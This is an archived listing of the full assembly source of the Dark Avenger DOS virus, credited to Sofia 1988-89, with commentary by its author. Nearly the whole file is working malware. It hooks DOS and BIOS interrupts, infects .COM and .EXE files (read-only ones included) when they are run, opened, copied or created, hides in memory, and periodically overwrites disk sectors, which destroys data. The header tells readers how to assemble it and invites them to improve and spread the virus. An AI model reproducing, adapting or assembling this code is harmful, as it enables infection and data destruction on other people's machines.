home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / D-AVENG.ASM < prev    next >
Assembly Source File  |  1995-10-29  |  27KB  |  983 lines

  1.  
  2. ; "Blessed is he who expects nothing, for he shall not be disappointed."
  3.  
  4. ; The original source of one of the first Bulgarian viruses is in front of
  5. ; you.  As you may notice, it's full of rubbish and bugs, but nevertheless
  6. ; the virus has spread surprisingly quickly troughout the country and made a
  7. ; quick round the globe.  (It's well-known in Eastern and Western Europe, as
  8. ; well as in USA.) Due to the aniversary of its creation, the source is
  9. ; distributed freely.  You have the rights to distribute the source which can
  10. ; be charged or free of charge, with the only condition not to modify it.
  11. ; The one, who intentionaly distributes this source modified in any way will
  12. ; be punished!  Still, the author will be glad if any of you improves it and
  13. ; spreads the resulting executive file (i.e., the virus itself).  Pay
  14. ; attention to the fact that after you assemble the source, the resulting
  15. ; .COM-file cannot be run.  For that purpose you have to create a three-byte
  16. ; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
  17. ; two files.  Don't try to place a JMP at the beginning of the source.
  18.  
  19. ; DISCLAIMER: The author does not take any responsability for any damage,
  20. ; either direct or implied, caused by the usage or not of this source or of
  21. ; the resulting code after assembly. No warrant is made about the product
  22. ; functionability or quality.
  23.  
  24. ; I cannot resist to express my special gratitude to my "populazer" Dipl.
  25. ; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
  26. ; not, helps very much in the spreading of my viruses, in spite of the fact
  27. ; that he tries to do just the opposite (writing programs in C has never
  28. ; led to any good).
  29. ; Greetings to all virus writers!
  30.  
  31. code    segment
  32.         assume  cs:code,ds:code
  33. copyright:
  34.         db      'Eddie lives...somewhere in time!',0
  35. date_stamp:
  36.         dd      12239000h
  37. checksum:
  38.         db      30
  39.  
  40. ; Return the control to an .EXE file:
  41. ; Restores DS=ES=PSP, loads SS:SP and CS:IP.
  42.  
  43.  
  44.  
  45.  
  46.  
  47. exit_exe:
  48.         mov     bx,es
  49.         add     bx,10h
  50.         add     bx,word ptr cs:[si+call_adr+2]
  51.         mov     word ptr cs:[si+patch+2],bx
  52.         mov     bx,word ptr cs:[si+call_adr]
  53.         mov     word ptr cs:[si+patch],bx
  54.         mov     bx,es
  55.         add     bx,10h
  56.         add     bx,word ptr cs:[si+stack_pointer+2]
  57.         mov     ss,bx
  58.         mov     sp,word ptr cs:[si+stack_pointer]
  59.         db      0eah                    ;JMP XXXX:YYYY
  60. patch:
  61.         dd      0
  62.  
  63. ; Returns control to a .COM file:
  64. ; Restores the first 3 bytes in the
  65. ; beginning of the file, loads SP and IP.
  66.  
  67. exit_com:
  68.  
  69.  
  70.  
  71.  
  72.         mov     di,100h
  73.         add     si,offset my_save
  74.         movsb
  75.         movsw
  76.         mov     sp,ds:[6]               ;This is incorrect
  77.         xor     bx,bx
  78.         push    bx
  79.         jmp     [si-11]                 ;si+call_adr-top_file
  80.  
  81. ; Program entry point
  82.  
  83. startup:
  84.         call    relative
  85. relative:
  86.         pop     si                      ;SI = $
  87.         sub     si,offset relative
  88.         cld
  89.         cmp     word ptr cs:[si+my_save],5a4dh
  90.         je      exe_ok
  91.         cli
  92.         mov     sp,si                   ;A separate stack is supported for
  93.         add     sp,offset top_file+100h ;the .COM files, in order not to
  94.         sti                             ;overlap the stack by the program
  95.         cmp     sp,ds:[6]
  96.         jnc     exit_com
  97. exe_ok:
  98.         push    ax
  99.         push    es
  100.         push    si
  101.         push    ds
  102.         mov     di,si
  103.  
  104. ; Looking for the address of INT 13h handler in ROM-BIOS
  105.  
  106.         xor     ax,ax
  107.         push    ax
  108.         mov     ds,ax
  109.         les     ax,ds:[13h*4]
  110.         mov     word ptr cs:[si+fdisk],ax
  111.         mov     word ptr cs:[si+fdisk+2],es
  112.         mov     word ptr cs:[si+disk],ax
  113.         mov     word ptr cs:[si+disk+2],es
  114.         mov     ax,ds:[40h*4+2]         ;The INT 13h vector is moved to INT 40h
  115.         cmp     ax,0f000h               ;for diskettes if a hard disk is
  116.         jne     nofdisk                 ;available
  117.         mov     word ptr cs:[si+disk+2],ax
  118.         mov     ax,ds:[40h*4]
  119.         mov     word ptr cs:[si+disk],ax
  120.         mov     dl,80h
  121.         mov     ax,ds:[41h*4+2]         ;INT 41h usually points the segment,
  122.         cmp     ax,0f000h               ;where the original INT 13h vector is
  123.         je      isfdisk
  124.         cmp     ah,0c8h
  125.         jc      nofdisk
  126.         cmp     ah,0f4h
  127.         jnc     nofdisk
  128.         test    al,7fh
  129.         jnz     nofdisk
  130.         mov     ds,ax
  131.         cmp     ds:[0],0aa55h
  132.         jne     nofdisk
  133.         mov     dl,ds:[2]
  134. isfdisk:
  135.         mov     ds,ax
  136.         xor     dh,dh
  137.         mov     cl,9
  138.         shl     dx,cl
  139.         mov     cx,dx
  140.         xor     si,si
  141. findvect:
  142.         lodsw                           ;Occasionally begins with:
  143.         cmp     ax,0fa80h               ;       CMP     DL,80h
  144.         jne     altchk                  ;       JNC     somewhere
  145.         lodsw
  146.         cmp     ax,7380h
  147.         je      intchk
  148.         jne     nxt0
  149. altchk:
  150.         cmp     ax,0c2f6h               ;or with:
  151.         jne     nxt                     ;       TEST    DL,80h
  152.         lodsw                           ;       JNZ     somewhere
  153.         cmp     ax,7580h
  154.         jne     nxt0
  155. intchk:
  156.         inc     si                      ;then there is:
  157.         lodsw                           ;       INT     40h
  158.         cmp     ax,40cdh
  159.         je      found
  160.         sub     si,3
  161. nxt0:
  162.         dec     si
  163.         dec     si
  164. nxt:
  165.         dec     si
  166.         loop    findvect
  167.         jmp     short nofdisk
  168. found:
  169.         sub     si,7
  170.         mov     word ptr cs:[di+fdisk],si
  171.         mov     word ptr cs:[di+fdisk+2],ds
  172. nofdisk:
  173.         mov     si,di
  174.         pop     ds
  175.  
  176. ; Check whether the program is present in memory:
  177.  
  178.         les     ax,ds:[21h*4]
  179.         mov     word ptr cs:[si+save_int_21],ax
  180.         mov     word ptr cs:[si+save_int_21+2],es
  181.         push    cs
  182.         pop     ds
  183.         cmp     ax,offset int_21
  184.         jne     bad_func
  185.         xor     di,di
  186.         mov     cx,offset my_size
  187. scan_func:
  188.         lodsb
  189.         scasb
  190.         jne     bad_func
  191.         loop    scan_func
  192.         pop     es
  193.         jmp     go_program
  194.  
  195. ; Move the program to the top of memory:
  196. ; (it's full of rubbish and bugs here)
  197.  
  198. bad_func:
  199.         pop     es
  200.         mov     ah,49h
  201.         int     21h
  202.         mov     bx,0ffffh
  203.         mov     ah,48h
  204.         int     21h
  205.         sub     bx,(top_bz+my_bz+1ch-1)/16+2
  206.         jc      go_program
  207.         mov     cx,es
  208.         stc
  209.         adc     cx,bx
  210.         mov     ah,4ah
  211.         int     21h
  212.         mov     bx,(offset top_bz+offset my_bz+1ch-1)/16+1
  213.         stc
  214.         sbb     es:[2],bx
  215.         push    es
  216.         mov     es,cx
  217.         mov     ah,4ah
  218.         int     21h
  219.         mov     ax,es
  220.         dec     ax
  221.         mov     ds,ax
  222.         mov     word ptr ds:[1],8
  223.         call    mul_16
  224.         mov     bx,ax
  225.         mov     cx,dx
  226.         pop     ds
  227.         mov     ax,ds
  228.         call    mul_16
  229.         add     ax,ds:[6]
  230.         adc     dx,0
  231.         sub     ax,bx
  232.         sbb     dx,cx
  233.         jc      mem_ok
  234.         sub     ds:[6],ax               ;Reduction of the segment size
  235. mem_ok:
  236.         pop     si
  237.         push    si
  238.         push    ds
  239.         push    cs
  240.         xor     di,di
  241.         mov     ds,di
  242.         lds     ax,ds:[27h*4]
  243.         mov     word ptr cs:[si+save_int_27],ax
  244.         mov     word ptr cs:[si+save_int_27+2],ds
  245.         pop     ds
  246.         mov     cx,offset aux_size
  247.         rep     movsb
  248.         xor     ax,ax
  249.         mov     ds,ax
  250.         mov     ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
  251.         mov     ds:[21h*4+2],es
  252.         mov     ds:[27h*4],offset int_27
  253.         mov     ds:[27h*4+2],es
  254.         mov     word ptr es:[filehndl],ax
  255.         pop     es
  256. go_program:
  257.         pop     si
  258.  
  259. ; Smash the next disk sector:
  260.  
  261.         xor     ax,ax
  262.         mov     ds,ax
  263.         mov     ax,ds:[13h*4]
  264.         mov     word ptr cs:[si+save_int_13],ax
  265.         mov     ax,ds:[13h*4+2]
  266.         mov     word ptr cs:[si+save_int_13+2],ax
  267.         mov     ds:[13h*4],offset int_13
  268.         add     ds:[13h*4],si
  269.         mov     ds:[13h*4+2],cs
  270.         pop     ds
  271.         push    ds
  272.         push    si
  273.         mov     bx,si
  274.         lds     ax,ds:[2ah]
  275.         xor     si,si
  276.         mov     dx,si
  277. scan_envir:                             ;Fetch program's name
  278.         lodsw                           ;(with DOS 2.x it doesn't work anyway)
  279.         dec     si
  280.         test    ax,ax
  281.         jnz     scan_envir
  282.         add     si,3
  283.         lodsb
  284.  
  285. ; The following instruction is a complete nonsense.  Try to enter a drive &
  286. ; directory path in lowercase, then run an infected program from there.
  287. ; As a result of an error here + an error in DOS the next sector is not
  288. ; smashed. Two memory bytes are smashed instead, most probably onto the
  289. ; infected program.
  290.  
  291.         sub     al,'A'
  292.         mov     cx,1
  293.         push    cs
  294.         pop     ds
  295.         add     bx,offset int_27
  296.         push    ax
  297.         push    bx
  298.         push    cx
  299.         int     25h
  300.         pop     ax
  301.         pop     cx
  302.         pop     bx
  303.         inc     byte ptr [bx+0ah]
  304.         and     byte ptr [bx+0ah],0fh   ;It seems that 15 times doing
  305.         jnz     store_sec               ;nothing is not enough for some.
  306.         mov     al,[bx+10h]
  307.         xor     ah,ah
  308.         mul     word ptr [bx+16h]
  309.         add     ax,[bx+0eh]
  310.         push    ax
  311.         mov     ax,[bx+11h]
  312.         mov     dx,32
  313.         mul     dx
  314.         div     word ptr [bx+0bh]
  315.         pop     dx
  316.         add     dx,ax
  317.         mov     ax,[bx+8]
  318.         add     ax,40h
  319.         cmp     ax,[bx+13h]
  320.         jc      store_new
  321.         inc     ax
  322.         and     ax,3fh
  323.         add     ax,dx
  324.         cmp     ax,[bx+13h]
  325.         jnc     small_disk
  326. store_new:
  327.         mov     [bx+8],ax
  328. store_sec:
  329.         pop     ax
  330.         xor     dx,dx
  331.         push    ax
  332.         push    bx
  333.         push    cx
  334.         int     26h
  335.  
  336.  
  337. ; The writing trough this interrupt is not the smartest thing, bacause it
  338. ; can be intercepted (what Vesselin Bontchev has managed to notice).
  339.  
  340.         pop     ax
  341.         pop     cx
  342.         pop     bx
  343.         pop     ax
  344.         cmp     byte ptr [bx+0ah],0
  345.         jne     not_now
  346.         mov     dx,[bx+8]
  347.         pop     bx
  348.         push    bx
  349.         int     26h
  350. small_disk:
  351.         pop     ax
  352. not_now:
  353.         pop     si
  354.         xor     ax,ax
  355.         mov     ds,ax
  356.         mov     ax,word ptr cs:[si+save_int_13]
  357.         mov     ds:[13h*4],ax
  358.         mov     ax,word ptr cs:[si+save_int_13+2]
  359.         mov     ds:[13h*4+2],ax
  360.         pop     ds
  361.         pop     ax
  362.         cmp     word ptr cs:[si+my_save],5a4dh
  363.         jne     go_exit_com
  364.         jmp     exit_exe
  365. go_exit_com:
  366.         jmp     exit_com
  367. int_24:
  368.         mov     al,3                    ;This instruction seems unnecessary
  369.         iret
  370.  
  371. ; INT 27h handler (this is necessary)
  372.  
  373. int_27:
  374.         pushf
  375.         call    alloc
  376.         popf
  377.         jmp     dword ptr cs:[save_int_27]
  378.  
  379. ; During the DOS functions Set & Get Vector it seems that the virus has not
  380. ; intercepted them (this is a doubtfull advantage and it is a possible
  381. ; source of errors with some "intelligent" programs)
  382.  
  383. set_int_27:
  384.         mov     word ptr cs:[save_int_27],dx
  385.         mov     word ptr cs:[save_int_27+2],ds
  386.         popf
  387.         iret
  388. set_int_21:
  389.         mov     word ptr cs:[save_int_21],dx
  390.         mov     word ptr cs:[save_int_21+2],ds
  391.         popf
  392.         iret
  393. get_int_27:
  394.         les     bx,dword ptr cs:[save_int_27]
  395.         popf
  396.         iret
  397. get_int_21:
  398.         les     bx,dword ptr cs:[save_int_21]
  399.         popf
  400.         iret
  401.  
  402. exec:
  403.  
  404.  
  405.         call    do_file
  406.         call    alloc
  407.         popf
  408.         jmp     dword ptr cs:[save_int_21]
  409.  
  410.         db      'Diana P.',0
  411.  
  412. ; INT 21h handler.  Infects files during execution, copying, browsing or
  413. ; creating and some other operations. The execution of functions 0 and 26h
  414. ; has bad consequences.
  415.  
  416. int_21:
  417.         push    bp
  418.         mov     bp,sp
  419.         push    [bp+6]
  420.         popf
  421.         pop     bp
  422.         pushf
  423.         call    ontop
  424.         cmp     ax,2521h
  425.         je      set_int_21
  426.         cmp     ax,2527h
  427.         je      set_int_27
  428.         cmp     ax,3521h
  429.         je      get_int_21
  430.         cmp     ax,3527h
  431.         je      get_int_27
  432.         cld
  433.         cmp     ax,4b00h
  434.         je      exec
  435.         cmp     ah,3ch
  436.         je      create
  437.         cmp     ah,3eh
  438.         je      close
  439.         cmp     ah,5bh
  440.         jne     not_create
  441. create:
  442.         cmp     word ptr cs:[filehndl],0;May be 0 if the file is open
  443.         jne     dont_touch
  444.         call    see_name
  445.         jnz     dont_touch
  446.         call    alloc
  447.         popf
  448.         call    function
  449.         jc      int_exit
  450.         pushf
  451.         push    es
  452.         push    cs
  453.         pop     es
  454.         push    si
  455.         push    di
  456.         push    cx
  457.         push    ax
  458.         mov     di,offset filehndl
  459.         stosw
  460.         mov     si,dx
  461.         mov     cx,65
  462. move_name:
  463.         lodsb
  464.         stosb
  465.         test    al,al
  466.         jz      all_ok
  467.         loop    move_name
  468.         mov     word ptr es:[filehndl],cx
  469. all_ok:
  470.         pop     ax
  471.         pop     cx
  472.         pop     di
  473.         pop     si
  474.         pop     es
  475. go_exit:
  476.         popf
  477.         jnc     int_exit                ;JMP
  478. close:
  479.         cmp     bx,word ptr cs:[filehndl]
  480.         jne     dont_touch
  481.         test    bx,bx
  482.         jz      dont_touch
  483.         call    alloc
  484.         popf
  485.         call    function
  486.         jc      int_exit
  487.         pushf
  488.         push    ds
  489.         push    cs
  490.         pop     ds
  491.         push    dx
  492.         mov     dx,offset filehndl+2
  493.         call    do_file
  494.         mov     word ptr cs:[filehndl],0
  495.         pop     dx
  496.         pop     ds
  497.         jmp     go_exit
  498. not_create:
  499.         cmp     ah,3dh
  500.         je      touch
  501.         cmp     ah,43h
  502.         je      touch
  503.         cmp     ah,56h                  ;Unfortunately, the command inter-
  504.         jne     dont_touch              ;preter does not use this function
  505. touch:
  506.         call    see_name
  507.         jnz     dont_touch
  508.         call    do_file
  509. dont_touch:
  510.         call    alloc
  511.         popf
  512.         call    function
  513. int_exit:
  514.         pushf
  515.         push    ds
  516.         call    get_chain
  517.         mov     byte ptr ds:[0],'Z'
  518.         pop     ds
  519.         popf
  520. dummy   proc    far                     ;???
  521.         ret     2
  522. dummy   endp
  523.  
  524. ; Checks whether the file is .COM or .EXE.
  525. ; It is not called upon file execution.
  526.  
  527. see_name:
  528.         push    ax
  529.         push    si
  530.         mov     si,dx
  531. scan_name:
  532.         lodsb
  533.         test    al,al
  534.         jz      bad_name
  535.         cmp     al,'.'
  536.         jnz     scan_name
  537.         call    get_byte
  538.         mov     ah,al
  539.         call    get_byte
  540.         cmp     ax,'co'
  541.         jz      pos_com
  542.         cmp     ax,'ex'
  543.         jnz     good_name
  544.         call    get_byte
  545.         cmp     al,'e'
  546.         jmp     short good_name
  547. pos_com:
  548.         call    get_byte
  549.         cmp     al,'m'
  550.         jmp     short good_name
  551. bad_name:
  552.         inc     al
  553. good_name:
  554.         pop     si
  555.         pop     ax
  556.         ret
  557.  
  558. ; Converts into lowercase (the subroutines are a great thing).
  559.  
  560. get_byte:
  561.         lodsb
  562.         cmp     al,'C'
  563.         jc      byte_got
  564.         cmp     al,'Y'
  565.         jnc     byte_got
  566.         add     al,20h
  567. byte_got:
  568.         ret
  569.  
  570. ; Calls the original INT 21h.
  571.  
  572. function:
  573.         pushf
  574.         call    dword ptr cs:[save_int_21]
  575.         ret
  576.  
  577. ; Arrange to infect an executable file.
  578.  
  579. do_file:
  580.         push    ds                      ;Save the registers in stack
  581.         push    es
  582.         push    si
  583.         push    di
  584.         push    ax
  585.         push    bx
  586.         push    cx
  587.         push    dx
  588.         mov     si,ds
  589.         xor     ax,ax
  590.         mov     ds,ax
  591.         les     ax,ds:[24h*4]           ;Saves INT 13h and INT 24h in stack
  592.         push    es                      ;and changes them with what is needed
  593.         push    ax
  594.         mov     ds:[24h*4],offset int_24
  595.         mov     ds:[24h*4+2],cs
  596.         les     ax,ds:[13h*4]
  597.         mov     word ptr cs:[save_int_13],ax
  598.         mov     word ptr cs:[save_int_13+2],es
  599.         mov     ds:[13h*4],offset int_13
  600.         mov     ds:[13h*4+2],cs
  601.         push    es
  602.         push    ax
  603.         mov     ds,si
  604.         xor     cx,cx                   ;Arranges to infect Read-only files
  605.         mov     ax,4300h
  606.         call    function
  607.         mov     bx,cx
  608.         and     cl,0feh
  609.         cmp     cl,bl
  610.         je      dont_change
  611.         mov     ax,4301h
  612.         call    function
  613.         stc
  614. dont_change:
  615.         pushf
  616.         push    ds
  617.         push    dx
  618.         push    bx
  619.         mov     ax,3d02h                ;Now we can safely open the file
  620.         call    function
  621.         jc      cant_open
  622.         mov     bx,ax
  623.         call    disease
  624.         mov     ah,3eh                  ;Close it
  625.  
  626.         call    function
  627. cant_open:
  628.         pop     cx
  629.         pop     dx
  630.         pop     ds
  631.         popf
  632.         jnc     no_update
  633.         mov     ax,4301h                ;Restores file's attributes
  634.         call    function                ;if they were changed (just in case)
  635. no_update:
  636.         xor     ax,ax                   ;Restores INT 13h and INT 24h
  637.         mov     ds,ax
  638.         pop     ds:[13h*4]
  639.         pop     ds:[13h*4+2]
  640.         pop     ds:[24h*4]
  641.         pop     ds:[24h*4+2]
  642.         pop     dx                      ;Register restoration
  643.         pop     cx
  644.         pop     bx
  645.         pop     ax
  646.         pop     di
  647.         pop     si
  648.         pop     es
  649.         pop     ds
  650.         ret
  651.  
  652. ; This routine is the working horse.
  653.  
  654. disease:
  655.         push    cs
  656.         pop     ds
  657.         push    cs
  658.         pop     es
  659.         mov     dx,offset top_save      ;Read the file beginning
  660.         mov     cx,18h
  661.         mov     ah,3fh
  662.         int     21h
  663.         xor     cx,cx
  664.         xor     dx,dx
  665.         mov     ax,4202h                ;Save file length
  666.         int     21h
  667.         mov     word ptr [top_save+1ah],dx
  668.         cmp     ax,offset my_size       ;This should be top_file
  669.         sbb     dx,0
  670.         jc      stop_fuck_2             ;Small files are not infected
  671.         mov     word ptr [top_save+18h],ax
  672.         cmp     word ptr [top_save],5a4dh
  673.         jne     com_file
  674.         mov     ax,word ptr [top_save+8]
  675.         add     ax,word ptr [top_save+16h]
  676.         call    mul_16
  677.         add     ax,word ptr [top_save+14h]
  678.         adc     dx,0
  679.         mov     cx,dx
  680.         mov     dx,ax
  681.         jmp     short see_sick
  682. com_file:
  683.         cmp     byte ptr [top_save],0e9h
  684.         jne     see_fuck
  685.         mov     dx,word ptr [top_save+1]
  686.         add     dx,103h
  687.         jc      see_fuck
  688.         dec     dh
  689.         xor     cx,cx
  690.  
  691. ; Check if the file is properly infected
  692.  
  693.  
  694. see_sick:
  695.         sub     dx,startup-copyright
  696.         sbb     cx,0
  697.         mov     ax,4200h
  698.         int     21h
  699.         add     ax,offset top_file
  700.         adc     dx,0
  701.         cmp     ax,word ptr [top_save+18h]
  702.         jne     see_fuck
  703.         cmp     dx,word ptr [top_save+1ah]
  704.         jne     see_fuck
  705.         mov     dx,offset top_save+1ch
  706.         mov     si,dx
  707.         mov     cx,offset my_size
  708.         mov     ah,3fh
  709.         int     21h
  710.         jc      see_fuck
  711.         cmp     cx,ax
  712.         jne     see_fuck
  713.         xor     di,di
  714. next_byte:
  715.  
  716.         lodsb
  717.         scasb
  718.         jne     see_fuck
  719.         loop    next_byte
  720. stop_fuck_2:
  721.         ret
  722. see_fuck:
  723.         xor     cx,cx                   ;Seek to the end of file
  724.         xor     dx,dx
  725.         mov     ax,4202h
  726.         int     21h
  727.         cmp     word ptr [top_save],5a4dh
  728.         je      fuck_exe
  729.         add     ax,offset aux_size+200h ;Watch out for too big .COM files
  730.         adc     dx,0
  731.         je      fuck_it
  732.         ret
  733.  
  734. ; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
  735.  
  736. fuck_exe:
  737.         mov     dx,word ptr [top_save+18h]
  738.         neg     dl
  739.         and     dx,0fh
  740.         xor     cx,cx
  741.         mov     ax,4201h
  742.         int     21h
  743.         mov     word ptr [top_save+18h],ax
  744.         mov     word ptr [top_save+1ah],dx
  745. fuck_it:
  746.         mov     ax,5700h                ;Get file's date
  747.         int     21h
  748.         pushf
  749.         push    cx
  750.         push    dx
  751.         cmp     word ptr [top_save],5a4dh
  752.         je      exe_file                ;Very clever, isn't it?
  753.         mov     ax,100h
  754.         jmp     short set_adr
  755. exe_file:
  756.         mov     ax,word ptr [top_save+14h]
  757.         mov     dx,word ptr [top_save+16h]
  758. set_adr:
  759.         mov     di,offset call_adr
  760.         stosw
  761.         mov     ax,dx
  762.         stosw
  763.         mov     ax,word ptr [top_save+10h]
  764.         stosw
  765.         mov     ax,word ptr [top_save+0eh]
  766.         stosw
  767.         mov     si,offset top_save      ;This offers the possibilities to
  768.         movsb                           ;some nasty programs to restore
  769.         movsw                           ;exactly the original length
  770.         xor     dx,dx                   ;of the .EXE files
  771.         mov     cx,offset top_file
  772.         mov     ah,40h
  773.         int     21h                     ;Write the virus
  774.         jc      go_no_fuck              ;(don't trace here)
  775.         xor     cx,ax
  776.         jnz     go_no_fuck
  777.         mov     dx,cx
  778.         mov     ax,4200h
  779.         int     21h
  780.         cmp     word ptr [top_save],5a4dh
  781.         je      do_exe
  782.         mov     byte ptr [top_save],0e9h
  783.         mov     ax,word ptr [top_save+18h]
  784.         add     ax,startup-copyright-3
  785.         mov     word ptr [top_save+1],ax
  786.         mov     cx,3
  787.         jmp     short write_header
  788. go_no_fuck:
  789.         jmp     short no_fuck
  790.  
  791. ; Construct the .EXE file's header
  792.  
  793. do_exe:
  794.         call    mul_hdr
  795.         not     ax
  796.         not     dx
  797.         inc     ax
  798.         jne     calc_offs
  799.         inc     dx
  800. calc_offs:
  801.         add     ax,word ptr [top_save+18h]
  802.         adc     dx,word ptr [top_save+1ah]
  803.         mov     cx,10h
  804.         div     cx
  805.         mov     word ptr [top_save+14h],startup-copyright
  806.         mov     word ptr [top_save+16h],ax
  807.         add     ax,(offset top_file-offset copyright-1)/16+1
  808.         mov     word ptr [top_save+0eh],ax
  809.         mov     word ptr [top_save+10h],100h
  810.         add     word ptr [top_save+18h],offset top_file
  811.         adc     word ptr [top_save+1ah],0
  812.         mov     ax,word ptr [top_save+18h]
  813.         and     ax,1ffh
  814.         mov     word ptr [top_save+2],ax
  815.         pushf
  816.         mov     ax,word ptr [top_save+19h]
  817.         shr     byte ptr [top_save+1bh],1
  818.         rcr     ax,1
  819.         popf
  820.         jz      update_len
  821.         inc     ax
  822. update_len:
  823.         mov     word ptr [top_save+4],ax
  824.         mov     cx,18h
  825. write_header:
  826.         mov     dx,offset top_save
  827.         mov     ah,40h
  828.         int     21h                     ;Write the file beginning
  829. no_fuck:
  830.         pop     dx
  831.         pop     cx
  832.         popf
  833.         jc      stop_fuck
  834.         mov     ax,5701h                ;Restore the original file date
  835.         int     21h
  836. stop_fuck:
  837.         ret
  838.  
  839. ; The following is used by the INT 21h and INT 27h handlers in connection
  840. ; to the program hiding in memory from those who don't need to see it.
  841. ; The whole system is absurde and meaningless and it is also another source
  842. ; for program conflicts.
  843.  
  844. alloc:
  845.         push    ds
  846.         call    get_chain
  847.         mov     byte ptr ds:[0],'M'
  848.         pop     ds
  849.  
  850. ; Assures that the program is the first one in the processes,
  851. ; which have intercepted INT 21h (yet another source of conflicts).
  852.  
  853. ontop:
  854.         push    ds
  855.         push    ax
  856.         push    bx
  857.         push    dx
  858.         xor     bx,bx
  859.         mov     ds,bx
  860.         lds     dx,ds:[21h*4]
  861.         cmp     dx,offset int_21
  862.         jne     search_segment
  863.         mov     ax,ds
  864.         mov     bx,cs
  865.         cmp     ax,bx
  866.         je      test_complete
  867.  
  868. ; Searches the segment of the sucker who has intercepted INT 21h, in
  869. ; order to find where it has stored the old values and to replace them.
  870. ; Nothing is done for INT 27h.
  871.  
  872.         xor     bx,bx
  873. search_segment:
  874.         mov     ax,[bx]
  875.         cmp     ax,offset int_21
  876.         jne     search_next
  877.         mov     ax,cs
  878.         cmp     ax,[bx+2]
  879.         je      got_him
  880. search_next:
  881.         inc     bx
  882.         jne     search_segment
  883.         je      return_control
  884. got_him:
  885.         mov     ax,word ptr cs:[save_int_21]
  886.         mov     [bx],ax
  887.         mov     ax,word ptr cs:[save_int_21+2]
  888.         mov     [bx+2],ax
  889.         mov     word ptr cs:[save_int_21],dx
  890.         mov     word ptr cs:[save_int_21+2],ds
  891.         xor     bx,bx
  892.  
  893. ; Even if he has not saved them in the same segment, this won't help him.
  894.  
  895. return_control:
  896.         mov     ds,bx
  897.         mov     ds:[21h*4],offset int_21
  898.         mov     ds:[21h*4+2],cs
  899. test_complete:
  900.         pop     dx
  901.         pop     bx
  902.         pop     ax
  903.         pop     ds
  904.         ret
  905.  
  906. ; Fetch the segment of the last MCB
  907.  
  908. get_chain:
  909.         push    ax
  910.         push    bx
  911.         mov     ah,62h
  912.         call    function
  913.         mov     ax,cs
  914.         dec     ax
  915.         dec     bx
  916. next_blk:
  917.         mov     ds,bx
  918.         stc
  919.         adc     bx,ds:[3]
  920.         cmp     bx,ax
  921.         jc      next_blk
  922.         pop     bx
  923.         pop     ax
  924.         ret
  925.  
  926. ; Multiply by 16
  927.  
  928. mul_hdr:
  929.         mov     ax,word ptr [top_save+8]
  930. mul_16:
  931.         mov     dx,10h
  932.         mul     dx
  933.         ret
  934.  
  935.         db      'This program was written in the city of Sofia '
  936.         db      '(C) 1988-89 Dark Avenger',0
  937.  
  938. ; INT 13h handler.
  939. ; Calls the original vectors in BIOS, if it's a writing call
  940.  
  941. int_13:
  942.         cmp     ah,3
  943.         jnz     subfn_ok
  944.         cmp     dl,80h
  945.         jnc     hdisk
  946.         db      0eah                    ;JMP XXXX:YYYY
  947. my_size:                                ;--- Up to here comparison
  948. disk:                                   ; with the original is made
  949.         dd      0
  950. hdisk:
  951.         db      0eah                    ;JMP XXXX:YYYY
  952. fdisk:
  953.         dd      0
  954. subfn_ok:
  955.         db      0eah                    ;JMP XXXX:YYYY
  956. save_int_13:
  957.         dd      0
  958. call_adr:
  959.         dd      100h
  960.  
  961. stack_pointer:
  962.         dd      0                       ;The original value of SS:SP
  963. my_save:
  964.         int     20h                     ;The original contents of the first
  965.         nop                             ;3 bytes of the file
  966. top_file:                               ;--- Up to here the code is written
  967. filehndl    equ $                       ; in the files
  968. filename    equ filehndl+2              ;Buffer for the name of the opened file
  969. save_int_27 equ filename+65             ;Original INT 27h vector
  970. save_int_21 equ save_int_27+4           ;Original INT 21h vector
  971. aux_size    equ save_int_21+4           ;--- Up to here is moved into memory
  972. top_save    equ save_int_21+4           ;Beginning of the buffer, which
  973.                                         ;contains
  974.                                         ; - The first 24 bytes read from file
  975.                                         ; - File length (4 bytes)
  976.                                         ; - The last bytes of the file
  977.                                         ;   (my_size bytes)
  978. top_bz      equ top_save-copyright
  979. my_bz       equ my_size-copyright
  980.  
  981. code    ends
  982.         end
  983.